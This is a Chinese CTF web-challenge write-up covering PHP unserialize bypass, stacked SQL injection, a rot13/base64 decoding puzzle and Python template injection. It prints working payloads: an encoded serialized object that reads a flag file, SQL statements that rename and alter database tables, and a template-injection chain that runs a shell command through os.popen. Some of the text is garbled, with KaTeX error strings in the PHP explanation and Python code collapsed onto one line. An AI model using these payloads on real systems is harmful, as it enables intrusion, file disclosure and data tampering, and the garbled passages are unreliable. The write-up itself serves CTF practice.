当前位置: 首页 > ai >正文

XCTF-web(五)

Web_php_unserialize

在这里插入图片描述

当通过KaTeX parse error: Expected group after '_' at position 42: …erialize,触发魔术方法_̲_wakeup和__destr…this->file)输出文件内容,若KaTeX parse error: Expected group after '_' at position 17: …ile可控,可读取任意文件。 _̲_wakeup 防御:若file不为index.php,会被重置为index.php。可通过属性个数溢出绕过(序列化时声明的属性个数大于实际个数,__wakeup不会执行)。
正则检测:preg_match(‘/[oc]:\d+:/i’, $var)禁止包含o:或c:开头的序列化字符串。可利用NULL 字节截断让正则匹配失败(PHP 中preg_match遇到 NULL 字节会提前终止匹配)。

构造:/index.php?var=?TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

supersqli

在这里插入图片描述

看一下会输出什么

在这里插入图片描述

’1会报错

在这里插入图片描述

1’;show databases – #

在这里插入图片描述

1’;show tables – #

在这里插入图片描述

1’;show columns from 1919810931114514 – #

在这里插入图片描述

1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);-- #
1’ or 1=1 #

在这里插入图片描述

inget

在这里插入图片描述

?id=1’ or 1=1 – #

在这里插入图片描述

web2

在这里插入图片描述

对密文进行 str_rot13 还原:由于 str_rot13 是双向变换,再次应用即可还原。
反转字符串:逆转加密时最后一步的 strrev。
Base64 解码:解开加密时的 base64_encode。
字符 ord 减 1:逆转加密时每个字符 ord+1 的操作。
再次反转字符串:逆转加密时第一步的 strrev。

import base64
def python_decode(string):zimu = "abcdefghijklmnopqrstuvwxyz" rot_13 ="" for i in string: if i.isdigit():rot_13 += ielse:try:rot_13 += zimu[zimu.index(i)-13] except:rot_13 += zimu[zimu.index(i.lower())-13].upper()fz = rot_13[::-1]base = base64.b64decode(fz)base = [chr(ord(i)-1) for i in base]fz = base[::-1]print "".join(fz)python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")

结果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_python_template_injection

在这里插入图片描述

输入/{{7+7}},测试存在模板注入

在这里插入图片描述

/{{‘’.class}}

在这里插入图片描述

/{{‘’.class.mro}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[168]}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[145].init.globals.builtins’eval’}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[145].init.globals.builtins[‘eval’](‘import(“os”).popen(“cat fl4g”).read()’)}}

在这里插入图片描述

http://www.xdnf.cn/news/898.html

相关文章:

  • Tez原理
  • 稳压二极管详解:原理、作用、应用与选型要点
  • 参加新手训练五十题平台 TUST-ACM实验室
  • python全栈-flask
  • 使用open3d将pcd点云按照颜色等级分块显示并令其随颜色变化播放
  • Java并发编程-线程通讯
  • 排序模型(Learning to Rank)
  • HarmonyOS-ArkUI:关键帧动画 keyFrameAnimateTo
  • 四、不确定性推理方法
  • 【项目日记(三)】
  • Linux-编辑器的使用
  • flutter 专题 六十三 Flutter入门与实战作者:xiangzhihong8Fluter 应用调试
  • 住宅 IP 加持,TikTok 多账号运营不受限
  • 【手机】vivo手机应用声音分离方案
  • 字节扣子空间开启内测!附免费邀请码!
  • STM32的BootLoader 从SD卡更新固件
  • 【Postgresql】Postgresql数据库设置免密码操作 免去每次输入密码登录Postgresql数据库 方便本地开发环境调试
  • 4399后端一面
  • Python爬虫实战:获取高考网专业数据并分析,为志愿填报做参考
  • 图论-Floyd算法
  • vue2使用markdown-it解析markdown文本
  • 前端使用 RESTful API 和 GraphQL
  • 目标跟踪中的聚类算法:DBSCAN Kmeans GMM
  • C++如何处理多线程环境下的异常?如何确保资源在异常情况下也能正确释放
  • 速查手册:TA-Lib 超过150种量化技术指标计算全解 - 8. Statistic Functions(统计函数)
  • linux驱动框架——i2c驱动模块的probe过程
  • 蓝桥杯 16.对局匹配
  • 八、模式识别系统
  • 亿固集团携手广东省民宿协会共启绿色民宿人居新范式
  • 【Linux内核设计与实现】第三章——进程管理03